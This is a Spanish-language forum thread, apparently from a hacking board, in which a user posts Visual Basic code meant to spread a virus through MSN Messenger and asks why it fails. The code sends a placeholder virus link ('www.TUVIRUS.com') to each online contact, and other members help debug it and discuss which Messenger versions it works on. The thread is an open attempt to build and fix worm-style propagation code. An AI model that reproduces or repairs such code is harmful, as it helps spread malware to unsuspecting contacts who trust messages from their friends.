Propagacion de virus MSN -> Error ...

Iniciado por NsTeam, 23 Julio 2009, 02:54 AM

0 Miembros y 1 Visitante están viendo este tema.

NsTeam


Hola A todos

Bueno navegando por el foro encontre este tema

(No revivi ese Tema Porq Era antiguo)

lo cual vi un code lo cual lo pruebo y siempre me manda error

Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
   For Each user In MsgrUIA.MyContacts
       If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
       Set venta = MsgrUIA.InstantMessage(user)
             SendKeys "www.TUVIRUS.com" 'url
             SendKeys "{ENTER}"
            SendKeys "%Z"
       End If
     Next
Set MsgrUIA = Nothing
End Sub



lo cual siempre me manda este error

Set MsgrUIA = New MessengerAPI.Messenger


tengo activado en reference

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library


Pero Siempre me manda el mismo error


Bueno Espero Alguna Respuesta

TAlves tenga que arreglar el Code o HAcer otra Cosa =)

PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB   ;) Salu2[/b]

h0oke


NsTeam

Cita de: 嘇sZeus嘇 en 23 Julio 2009, 02:59 AM
Haz incluido las api del msn?

Si lo Inclui

PEro aun asi me sige dando ese error

seba123neo

estas seteando mal:

Código (vb) [Seleccionar]
Set MsgrUIA = New MessengerAPI.Messenger

deberia ser:

Código (vb) [Seleccionar]
Set msn = New MessengerAPI.Messenger

no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...

saludos.

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

NsTeam

Cita de: seba123neo en 23 Julio 2009, 03:23 AM
estas seteando mal:

Código (vb) [Seleccionar]
Set MsgrUIA = New MessengerAPI.Messenger

deberia ser:

Código (vb) [Seleccionar]
Set msn = New MessengerAPI.Messenger

no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...

saludos.




Lo Probe De la Forma que me DIjiste

Pero aun asi me siga dando ese Error


^_^

Si no me equivoco, se que desde que implementaron una nueva version del messenger o algo asi era, ha dejado de funcionarle a mucha gente este metodo ...

h0oke

Por supuesto que esto no es para LiveMsn. Es para el windows msn viejo.

NsTeam

mMMMMMMMMM

Yo Uso Messenger 7.5

En este Caso Funcionara¿  Mmm........

h0oke

Creo que todavía funcionaba para esa versión.

Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.

NsTeam

Cita de: 嘇sZeus嘇 en 23 Julio 2009, 03:44 AM
Creo que todavía funcionaba para esa versión.

Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.

mmmm

de echo ya declaro Todo

Pero aun ASi NAda...    NO se que hice MAl =(